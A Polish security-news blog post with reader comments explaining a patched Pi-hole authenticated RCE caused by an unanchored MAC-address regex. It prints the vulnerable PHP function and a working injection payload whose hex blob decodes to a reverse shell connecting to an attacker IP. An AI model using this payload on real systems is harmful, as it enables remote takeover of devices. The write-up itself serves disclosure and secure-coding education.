Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Kiedy próbujesz nieudolnie filtrować wejście wyrażeniem regularnym… możesz skończyć jak Pi-hole (Auth RCE).

29 marca 2020, 00:31 | W biegu | komentarze 4
Tagi: , ,

Jeśli nie jesteście fanami internetowych reklam, być może kojarzycie rozwiazanie Pi-hole. W każdym razie niedawno załatano tutaj możliwość wykonania kodu w OS poprzez podanie w panelu webowym (trzeba więc być zalogowanym do urządzenia) odpowiednio złośliwej wartości adresu MAC .

Jeśli ktoś chce mieć mały challenge, niech znajdzie problem w tym kodzie:

function validMAC($mac_addr)
{
// Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
return (preg_match(’/([a-fA-F0-9]{2}[:]?){6}/’, $mac_addr) == 1);
}

Samo wyrażenie regularnie nie jest specjalnie skomplikowane. Zobaczmy co pokazuje narzędzie regexper (wspominane zresztą przez nas na jednym z filmów na sekurak.tv):

regexper

Niby wszystko OK (ewentualną drobną wątpliwość może wzbudzić brak konieczności używania dwukropka). Bardziej jednak ciekawe jest działanie funkcji preg_match w PHP. Tutaj w zasadzie jeśli adres MAC znajdzie się gdziekolwiek w wartości podanej przez użytkownika, funkcja validMAC() powie: tak, to poprawny MAC.

Cały payload wyglądał np. tak:

$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’

Dlaczego tak dziwnie? Przed użyciem kontrolowanej przez użytkownika zmiennej $mac, wartość była podnoszona do wielkiej litery $mac = strtoupper($mac); więc można było uruchamiać tylko polecania typu PHP (pisane wielkimi literami; zazwyczaj w systemie nie ma stosownej binarki pisanej właśnie dużymi literami). I tu z pomocą przyszedł mechanizm Shell Parameter Expansiondzięki któremu udało się „wykroić” małe litery ze zmiennej środowiskowej $PATH.

Np. jeśli $PATH=”/usr/local/bin:/usr/bin” , to U=${PATH:1:1}  daje małą literę u.

ms

 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. F

    > Bardziej jednak ciekawe jest działanie funkcji preg_match w PHP

    Nie jest to wina preg_match, tylko wyrażenia któremu brakuje „kotwic” (początku i końca), które ograniczałyby to wyrażenie do całości tego co się znajduje na wejściu.

    Odpowiedz
  2. SuperTux

    Dlatego używam wyrażeń regularnych tylko jeśli nie ma absolutnie innego sposobu na sparsowanie danej treści. Rzeczy typu adres MAC to można rozłożyć na czynniki pierwsze funkcją explode, potem sprawdzić czy nie mają żadnych nie hexadecymalnych znaków (co można też zrobić bez regexa) oraz czy nie mają innej długości niż 2 znaki (bo każda część po dwukropku powinna mieć tylko dwa znaki, nie więcej i nie mniej) i następnie złożenie MAC-a z powrotem.

    Odpowiedz
  3. Rutek

    Problemem nie jest zachowanie funkcji preg_match w PHP tylko konstrukcja wyrażenia. Jeżeli w wyrażeniu regularnym nie znajdzie się ^ oraz $ oznaczające, że chcemy sprawdzić cały string to każdy język wspierający perlowe regexpy sprawdzi to w ten sam sposób.

    Odpowiedz
  4. rrrrrrrrrrrr

    „Niby wszystko OK (ewentualną drobną wątpliwość może wzbudzić brak konieczności używania dwukropka). Bardziej jednak ciekawe jest działanie funkcji preg_match w PHP. ”

    No nie wiem, wydaje mi się, że to nie działanie funkcji w PHP, ale ogólne działanie wyrażeń regularnych – tutaj brakuje znaku kontrolnego startu (^) i końca ($) w wyrażeniu.

    Odpowiedz

Odpowiedz